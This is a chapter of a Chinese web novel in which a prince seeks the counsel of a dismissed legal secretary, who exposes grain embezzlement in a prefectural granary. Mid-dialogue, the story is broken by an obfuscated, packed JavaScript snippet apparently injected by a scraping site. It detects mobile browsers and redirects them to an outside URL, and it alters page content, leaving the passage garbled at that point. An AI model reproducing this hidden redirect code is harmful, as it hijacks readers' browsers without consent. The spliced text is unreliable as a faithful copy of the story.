可凉郡府那边显然也盯着这位老先生。贸然接触,会不会打草惊蛇? “殿下,”沈墨走过来,“可是在为难如何请动这位贺老先生?” 殷澈点头:“刘宗敏提醒我,身边得有能查事的人。贺师爷再合适不过。但他处境微妙,咱们若大张旗鼓去请,恐怕会给他招祸。” 沈墨思索片刻:“不如……以请教水利刑名案为由?” “水利刑名案?” “西北修渠筑坝,常涉及占地、用水纠纷。这类案子既涉及工程实务,又牵扯律例刑名。”沈墨道,“殿下可修书一封,以鄞州试点遇上的实际难题为由,向贺老先生请教。信写得恳切些,只谈技术,不谈其他。看他如何回复。” 殷澈眼睛一亮:“这法子好。既表达了诚意,又不显得突兀。他若愿意指点,便是开了个口子;若不愿,咱们也不强求。” 他当即回屋写信。信中详细描述了李家庄修塘时遇到的占地补偿纠纷、张家沟引水涉及的上下游用水权问题,以及工地上发生的偷盗案处置——都是实实在在遇到的事。最后诚恳写道:“澈年少识浅,于刑名钱谷之事多有不明。闻先生精通律例,熟知民情,故冒昧求教。若蒙指点一二,感念不尽。” 信写完,密封好。殷澈吩咐那汉子:“你再跑一趟兰州。信亲手交给贺老先生,别的话一概不说。他若问起鄞州情形,你如实告知便是。他若不肯收信,也不必强求。” “属下明白。” 汉子揣好信,连夜出发。 三日后,兰州城西,清源茶馆。 铺面不大,收拾得干净。午后没什么客人,柜台后坐着个清瘦的老者,戴着一副老花镜,正慢慢擦拭茶具。 汉子走进茶馆,要了壶最便宜的粗茶,坐在角落。等到老者闲下来,才走上前,双手奉上书信。 “贺老先生,鄞州来的信。” 贺师爷抬起头,透过镜片看了汉子一眼,没接信:“鄞州?老朽与鄞州并无故旧。” “是九皇子给您的。”汉子低声道,“殿下说,信中所写,皆是鄞州试点实际遇到的难题。殿下年轻,于刑名钱谷之事不甚明了,特向老先生请教。” 贺师爷的手顿了顿。他接过信,拆开,慢慢读着。 信很长,写了三页纸。字迹端正,条理清晰。每一个案例都描述得具体详实,提出的问题也切中要害——确实是实务中才会遇到的难题,不是泛泛而谈。 尤其是关于占地补偿市价如何确定、上下游用水权如何平衡、工地上连坐处罚是否合乎律例这几个问题,问得相当内行。 贺师爷看了足足一刻钟。看完,他将信纸仔细折好,放回信封。 “九皇子……在鄞州,真这么做事?”他缓缓开口。 “是。”汉子道,“殿下每日卯时起身,先去工地看进度,再回衙门理文书。修渠的图纸、垦荒的契约、工分的账目,都要亲自过目。遇到纠纷,必叫双方到场,当面说清。” “那偷盗案,真是按连坐罚的?” “是。但罚完之后,殿下又立了新规:凡举报属实者,有赏。如今工地上互相监督,风气比之前好了许多。” 贺师爷沉默良久,指了指旁边的凳子:“坐。” 汉子依言坐下。 “你回去告诉九皇子,”贺师爷声音平静,“信中所问,老朽三日内写好回复,托人送去鄞州。至于其他——”他抬眼,目光锐利,“凉郡府的水,比鄞州深得多。殿下若真想在这西北扎根,光会做事不够,还得会看人。” “老先生的意思是?” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17027397|192347||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 告诉殿下,”贺师爷压低声音,“凉郡府常平仓的账,二十年没清过了。今年春天,各县报上来的存粮数目,比实际库存至少多三成。这些粮食去哪儿了?一部分倒卖去了关外,一部分被各级官吏层层分了。刘宗敏来查,他们必会临时借粮充数。借谁的粮?自然是那些手里有存粮的大户——而这些大户,多半与州县官员有千丝万缕的关系。” 汉子心头一震。 “还有,”贺师爷继续道,“西北修水利,历来是肥差。石料、木料、人工,处处可以伸手。殿下在鄞州用的石料,是从邻县采石场买的吧?价钱比市价低两成,是不是?” “您怎么知道?” “因为那采石场的东家,是凉郡府马同知的小舅子。”贺师爷冷笑,“他低价卖石料给鄞州,不是给殿下面子,是放长线钓大鱼。等殿下把水利工程铺开,需要更多石料时,价钱就不是这个数了。” 汉子冷汗下来了。 “老朽言尽于此。”贺师爷端起茶杯,“回复信三日后到。至于殿下听不听得进去,愿不愿意用老朽这双眼睛——看他自己的决断。” “多谢老先生!” 汉子起身,深深一揖,匆匆离开茶馆。 贺师爷坐在柜台后,慢慢喝完那杯茶。然后起身,关店,回到后院书房。 他从书架最底层翻出几本泛黄的册子。册子里密密麻麻记着年月、人名、数字——都是他这些年暗中搜集的西北各州县仓场、税赋的异常记录。 他摊开纸,研墨,开始写回信。 信写得很长。每一个问题都给出了详细的律例依据、判例参考、实务建议。末了,另附一张小笺,只有一句话: “殿下欲清西北,需先清凉郡。凉郡之弊,首在马氏。马文升之侄马荣,现任凉郡府仓大使,去岁经手粮十五万石,实发不足十万。余者,可查其城南三处私仓。” 写完后,他将信与小笺分开密封,唤来一个信得过的老伙计。 “这两封信,送去鄞州县衙,亲手交给安王殿下。记住,若途中有人查问,就说是我替人写的家书。” “东家放心。” 老伙计揣好信,从后门悄悄离开。 贺师爷站在窗前,望着北方鄞州的方向,久久不动。 这个九皇子,和他以前见过的所有贵人都不一样。 不空谈,不摆架子,实实在在做事情,还肯低下头向一个被革职的老师爷请教。 或许……西北这片土地,真的等来了一线不一样的曙光? 他轻轻叹了口气。 那就赌一把吧。 赌这个年轻人,真有一颗想做事的心,也有一副能扛事的肩膀。 *** 五日后,鄞州县衙。 殷澈收到了贺师爷的回信。 他先看了那封长长的答疑信,边看边点头:“句句在理,确实是精通实务的老手。” 然后,他拆开了那张小笺。 只一眼,脸色就沉了下来。 “小德子,”他唤道,“去请李九章过来。” 李九章很快赶到。殷澈将小笺递给他:“看看这个。” 李九章看完,倒吸一口凉气:“凉郡府仓大使马荣……私吞五万石粮?这、这可是杀头的大罪!” “杀头?”殷澈冷笑,“若真按律处置,凉郡府上下,不知要掉多少颗脑袋。难怪马文升坐不住了。” “殿下打算怎么办?” “怎么办?”殷澈将小笺在烛火上点燃,“贺师爷给了咱们一把刀。但这把刀,现在不能拔出来。” “为何?” “刘宗敏正在巡查途中。若此刻揭出如此大案,必引震动。马文升狗急跳墙,不知会做出什么事来。”殷澈沉声道,“咱们先按兵不动,继续做咱们的事。贺师爷这条线,牢牢握住。等刘宗敏查完一圈,回京复命前——咱们再把这把刀,递到他手里。” “那凉郡府那边……” “加派人手,盯紧那几个凉郡来的人。”殷澈目光锐利,“他们不是喜欢打听吗?让他们打听。但鄞州工地上的每一粒粮食、每一件工具,从哪儿来、到哪儿去、用在哪儿,都得清清楚楚记在账上。他们要查,就让他们查个明白。” 他望向窗外,夜色渐深。 凉郡府的水,果然深。 但再深的水,也总得有人去趟。 贺师爷给了方向,剩下的,就看他们怎么一步步,把这潭浑水,趟清了。